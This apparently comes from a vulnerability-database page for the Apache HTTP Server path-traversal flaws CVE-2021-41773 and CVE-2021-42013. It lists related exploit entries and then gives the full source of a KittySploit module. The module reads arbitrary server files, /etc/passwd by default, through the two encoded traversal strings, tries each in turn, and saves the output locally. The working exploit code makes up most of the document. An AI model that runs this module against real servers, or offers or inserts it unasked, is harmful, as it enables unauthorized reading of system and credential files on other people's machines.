Apache HTTP Server - Path Traversal File Read (CVE-2021-41773/42013)
| Reporter | Title | Published | Views | Family All 563 |
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| Exploit for Path Traversal in Apache Http_Server | 12 Mar 202221:24 | – | githubexploit | |
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| Exploit for Path Traversal in Apache Http_Server | 7 Oct 202100:14 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 24 Jan 202616:34 | – | githubexploit | |
| APACHE-2.4.49-2.4.50-exploit | 25 Jun 202604:13 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 17 Jun 202213:36 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 19 Aug 202613:38 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 14 Mar 202204:08 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 31 Mar 202201:48 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 26 Oct 202117:56 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache HTTP Server path-traversal arbitrary file read (CVE-2021-41773 / CVE-2021-42013)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
class Module(Auxiliary, Http_client, Lfi):
__info__ = {
'name': 'Apache HTTP Server - Path Traversal File Read (CVE-2021-41773/42013)',
'description': (
'Reads arbitrary files via CVE-2021-41773 / CVE-2021-42013 encoded path '
'traversal under cgi-bin/icons aliases.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-41773', 'CVE-2021-42013'],
'platform': Platform.LINUX,
'references': [
'https://httpd.apache.org/security/vulnerabilities_24.html',
'https://nvd.nist.gov/vuln/detail/CVE-2021-41773',
'https://nvd.nist.gov/vuln/detail/CVE-2021-42013',
],
'tags': ['apache', 'httpd', 'lfi', 'file-read', 'unauth', 'kev', 'cve-2021-41773'],
'agent': {
'risk': 'intrusive',
'effects': ['data_exfiltration'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.2,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'scanner/http/cve_2021_41773_detect',
'scanner/http/cve_2021_42013_detect',
],
},
},
}
file_read = OptString('/etc/passwd', 'Absolute remote file path to read', required=True)
cgi_prefix = OptString('/cgi-bin', 'Mapped Alias/ScriptAlias prefix', required=False)
encoding = OptString('41773', 'Traversal encoding: 41773 or 42013', required=False)
output_file = OptString('', 'Local file to write retrieved content', required=False)
output_limit = OptInteger(12000, 'Max chars to print when output_file empty (0=full)', required=False, advanced=True)
def _read_with(self, remote: str, enc: str) -> str:
prefix = str(self.cgi_prefix or '/cgi-bin').rstrip('/')
if enc == '42013':
trav = '/' + ('.%%32%65/' * 9)
else:
trav = '/.%2e/' + ('%2e%2e/' * 7)
path = f'{prefix}{trav}{remote}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return ''
return r.text or ''
def execute(self, file_path: str) -> str:
remote = str(file_path or '').strip().lstrip('/')
if not remote:
return ''
preferred = str(self.encoding or '41773').strip()
body = self._read_with(remote, preferred)
if body:
return body
alt = '42013' if preferred != '42013' else '41773'
return self._read_with(remote, alt)
def run(self):
target = str(self.file_read or '/etc/passwd')
print_status(f'Reading {target} via Apache path traversal ...')
body = self.execute(target)
if not body:
print_error('Empty response')
return False
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Wrote {len(body)} bytes to {out}')
else:
limit = int(self.output_limit or 0)
print_info(body if limit <= 0 else body[:limit])
return True
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10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.99992
SSVC